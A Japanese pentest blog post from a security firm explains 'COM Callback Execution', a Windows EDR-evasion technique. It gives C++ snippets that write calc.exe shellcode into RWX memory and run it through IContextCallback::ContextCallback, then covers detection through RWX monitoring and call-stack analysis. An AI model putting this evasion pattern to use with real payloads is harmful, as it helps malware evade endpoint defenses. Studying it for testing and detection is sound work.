ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
/ セキュリティブログ / セキュリティエンジニア /
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:
ペネトレーションテスト
セキュリティ診断

COM Callback Executionで電卓を起動する!IContextCallbackを悪用した検知回避テクニック

免責事項:本記事の内容は教育および検証目的(ペネトレーションテスト等のセキュリティ向上)に限定したものです。許可されていないシステムに対してこれらの手法を悪用することは法律で禁じられています。

ペネトレーションテストを担当してますWHIです。

最近のTLPTや高度なペネトレーションテストにおいて、EDR(Endpoint Detection and Response)の監視をいかにかいくぐるかは常に重要なテーマです。

シェルコードを実行する際、従来のような CreateThread などのAPIを直接呼び出す手法は、現在では真っ先に疑われ、セキュリティ製品にブロックされてしまうことでしょう。そこで今回は、Windowsの正規の機能である COM(Component Object Model) を悪用して、少しトリッキーな方法でシェルコード(今回は無害な calc.exe を起動するPoC)を実行するCOM Callback Executionと呼ばれる手法を紹介します。

COM Callback Executionとは?

今回利用するのは、COM Callback Execution と呼ばれる検知回避テクニックの一つです。

ターゲットとなるのは IContextCallback というWindows内部のCOMインターフェースで、このインターフェースには ContextCallback という指定されたコールバック関数を実行するためのメソッドが用意されています。

攻撃者の視点から見ると、このメソッドは非常に魅力的で、コールバック関数のポインタとして、メモリ上に配置したシェルコードのアドレスを渡せば、Windowsの正規の機能が勝手にシェルコードを実行してくれます。

これにより、セキュリティ製品からは、正規のCOMコンポーネントが標準的なコールバック処理を行っているだけのように見え、悪意のある実行フローを隠蔽しやすくなります。

実装のハイライト

全体のコードは少し長くなるため、ここではシェルコードを実際に実行する最も重要な部分だけをピックアップして解説します。

1. ペイロードの準備とメモリ確保

まずは電卓(calc.exe)を起動するシェルコードを用意し、実行権限(RWX)を持たせたメモリ領域に書き込みます。

// 電卓を起動するx64シェルコード
const unsigned char shellcode[] = "\xFC\xEB\x76... (省略) ...\x63\x61\x6C\x63...\xFF";

// PAGE_EXECUTE_READWRITE (RWX) でメモリを確保
void* pPayload = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

...

if (pPayload) {
    // 確保したメモリにシェルコードをコピー
    memcpy(pPayload, shellcode, sizeof(shellcode));

2. COMコンテキストの取得と間接実行

ここが検知回避の要で、CoGetObjectContext を使って現在の実行コンテキストを取得し、その ContextCallback メソッドに シェルコードのアドレスをキャストして渡します。

IContextCallback* pContextCallback = nullptr;
...

// オブジェクトコンテキストを取得
HRESULT hr = CoGetObjectContext(__uuidof(IContextCallback), (void**)&pContextCallback);

if (SUCCEEDED(hr) && pContextCallback != nullptr) {
    ComCallData data = { 0 };

    // 正規のコールバック関数としてシェルコードのアドレス (pPayload) を渡す
    hr = pContextCallback->ContextCallback(
        (PFNCONTEXTCALL)pPayload,
        &data,
        IID_IUnknown,
        5,
        nullptr
    );

    pContextCallback->Release();
}

第1引数に注目すると、本来は PFNCONTEXTCALL 型の真っ当な関数ポインタを渡すべきところに、先ほど用意した pPayload(シェルコードの先頭アドレス)を渡しています。

これが実行されると、なんと電卓が起動します。

検知と対策

不審なメモリ割り当て(RWX)の監視

この手法の弱点は、シェルコードを配置するために VirtualAlloc 等で PAGE_EXECUTE_READWRITE(RWX:読み書き実行可能) なメモリを要求している点です。通常のアプリケーションがRWXメモリを要求することは稀なため、EDRはこのAPIコールとメモリ領域を厳しく監視しています。ファイルの実体と紐付かない実行可能メモリをスキャンし、YARAルールなどで悪意のあるバイト列を検知することが可能であると考えられます。

コールスタックの異常検知と ETW-Ti の活用

COMの正規の処理を装っても、スレッドのコールスタックを解析すると不審な点が出る場合があります。EDRは正規のDLLからではなくいきなり出所不明なメモリ領域からプロセスの実行が開始されていたり不自然な遷移をしていたりする場合、異常としてフラグが立ちます。Windowsの ETW-Tiなどを活用するEDRは、こうした不審なスレッドの動きやコールバックの悪用を検知可能な場合があります。

まとめ

今回は電卓を起動するだけのシンプルなPoCでしたが、この手法の便利なところは、Windowsが本来持っている正規の機能をそのまま悪用している点です。

いかにも、直接的なAPIコールを避けOSの深層にあるコールバック機構にシェルコードを実行させることで検知を逃れようとする攻撃者と、メモリやコールスタックなどに監視の目を光らせる防御側との闘いといった感じがします。オフェンシブセキュリティに携わるペンテスターにとって、こうしたWindowsの内部構造の理解は、より堅牢なシステムを設計・防御するためにも不可欠な知識と言えると思います。